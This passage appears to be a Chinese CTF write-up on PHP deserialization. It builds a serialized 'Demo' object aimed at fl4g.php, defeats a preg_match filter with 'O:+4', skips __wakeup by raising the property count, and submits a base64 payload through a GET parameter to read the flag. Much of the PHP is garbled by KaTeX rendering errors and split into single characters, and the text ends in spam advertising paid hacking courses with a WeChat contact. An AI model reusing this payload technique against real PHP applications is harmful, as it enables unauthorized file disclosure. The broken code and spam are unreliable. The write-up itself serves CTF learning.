class Demo { private KaTeX parse error: Expected group after '_' at position 37: …ublic function _̲_construct(file) { $this->file = KaTeX parse error: Expected 'EOF', got '}' at position 8: file; }̲ function __des…this->file, true); } function __wakeup() { if ($this->file != ‘index.php’) { //the secret is in the fl4g.php $this->file = ‘index.php’; } } } $A=new Demo(“fl4g.php”);

C

=

s

e

r

i

a

l

i

z

e

(

C=serialize(

C=serialize(A); echo $C; ?>

得到的结果:

可以看到的是,序列化之后的结果有两个特殊字符,这是由于file是private属性的,序列化之后会在其前后有空格,即%00,protect属性的变量也类似。

我们看看上面fl4g.php序列化的结果:

O:4:"Demo":这部分表示一个对象,其类名为"Demo"。对象序列化的长度为4。:1::表示这个对象有1个属性或成员。{s:10:" Demo file";s:8:"fl4g.php";}:这是对象的成员。

s:10:" Demo file":表示一个字符串,长度为10,内容为" Demo file"。s:8:"fl4g.php":表示另一个字符串,长度为8,内容为"fl4g.php"。

所以,这个序列化字符串表示一个名为"Demo"的类的一个实例,该实例有一个属性,其中第一个属性是一个长度为10的字符串" Demo file",第二个属性是一个长度为8的字符串"fl4g.php"。

现在来分析**preg_match('/[oc]:\d+:/i', $var)**

[oc]:这是一个字符集,表示匹配其中的任何一个字符,即"o"或"c"。::这是一个普通字符,表示直接匹配":"字符。\d+:这是一个量词,表示匹配一个或多个数字。::再次,这是一个普通字符,表示直接匹配":"字符。i:这是一个修饰符,表示匹配时不区分大小写。

综上,能被该函数过滤的有“o:数字:”或者“c:数字:”,我们要想绕过preg_match()函数,就只要不满足上述条件即可,函数想过滤”O:4“,我们只要稍微修改一下改成”O:+4“就行。

执行代码如下:

C

=

s

t

r

r

e

p

l

a

c

e

(

O

:

4

,

O

:

+

4

,

C = str_replace('O:4', 'O:+4',

C=strr​eplace(′O:4′,′O:+4′,C);

2、绕过_wakeup()函数

前面我们讲了,如果序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过_wakeup函数,那么,我们只需要将对象属性的个数增大即可

我们将1改为其他数就行,这里我们改为2,代码如下:

C

=

s

t

r

r

e

p

l

a

c

e

(

:

1

:

,

:

2

:

,

C = str_replace(':1:', ':2:',

C=strr​eplace(′:1:′,′:2:′,C);//绕过wakeup

3、必须是base64加密

将上述代码执行得到的结果为

可以看到还是有空格键的存在,选择复制,发现复制不了,刚开始想的是,手工将空格添上,再base64加密,后来发现不行,结果不对。

于是采用代码来执行base64的加密:

C

=

b

a

s

e

6

4

e

n

c

o

d

e

(

C=base64_encode(

C=base64e​ncode(C);

执行得到的base64加密如下:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

4、get方式传参得flag

/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到flag

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

四、附录

php在线运行网站

PHP 在线工具 | 菜鸟工具

php完整脚本 file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { **自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。** **深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!** **因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。** ![img](https://img-blog.csdnimg.cn/img_convert/d14869be0bde73b066c51862e795cd07.png) ![img](https://img-blog.csdnimg.cn/img_convert/583d96f4d9a1daee5a90c4e17ed1b922.png) ![img](https://img-blog.csdnimg.cn/img_convert/66935aff7828734ecae563f0e362006a.png) ![img](https://img-blog.csdnimg.cn/img_convert/18c4d4d1888e1553f1a4b355e0e96edd.png) ![img](https://img-blog.csdnimg.cn/img_convert/000b5ee38e045002b0ee287ede578068.png) ![img](https://img-blog.csdnimg.cn/img_convert/4ab81feb53481f57ed0676f0f327fbce.png) **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!** **由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新** **如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)** ![img](https://img-blog.csdnimg.cn/img_convert/fa6c8d0d150a9c8dd70a9dc2ce4458b7.png) ### 给大家的福利 **零基础入门** 对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。 ![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png) 同时每个成长路线对应的板块都有配套的视频提供: ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center) 因篇幅有限,仅展示部分资料 网络安全面试题 ![](https://img-blog.csdnimg.cn/img_convert/80674985176a4889f7bb130756893764.png) 绿盟护网行动 ![](https://img-blog.csdnimg.cn/img_convert/9f3395407120bb0e1b5bf17bb6b6c743.png) 还有大家最喜欢的黑客技术 ![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg) **网络安全源码合集+工具包** ![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png) ![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png) **所有资料共282G**,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~ [**一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!**](https://bbs.csdn.net/forums/4304bb5a486d4c3ab8389e65ecb71ac0) **AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算** s.csdn.net/forums/4304bb5a486d4c3ab8389e65ecb71ac0) **AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算**

精彩链接

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: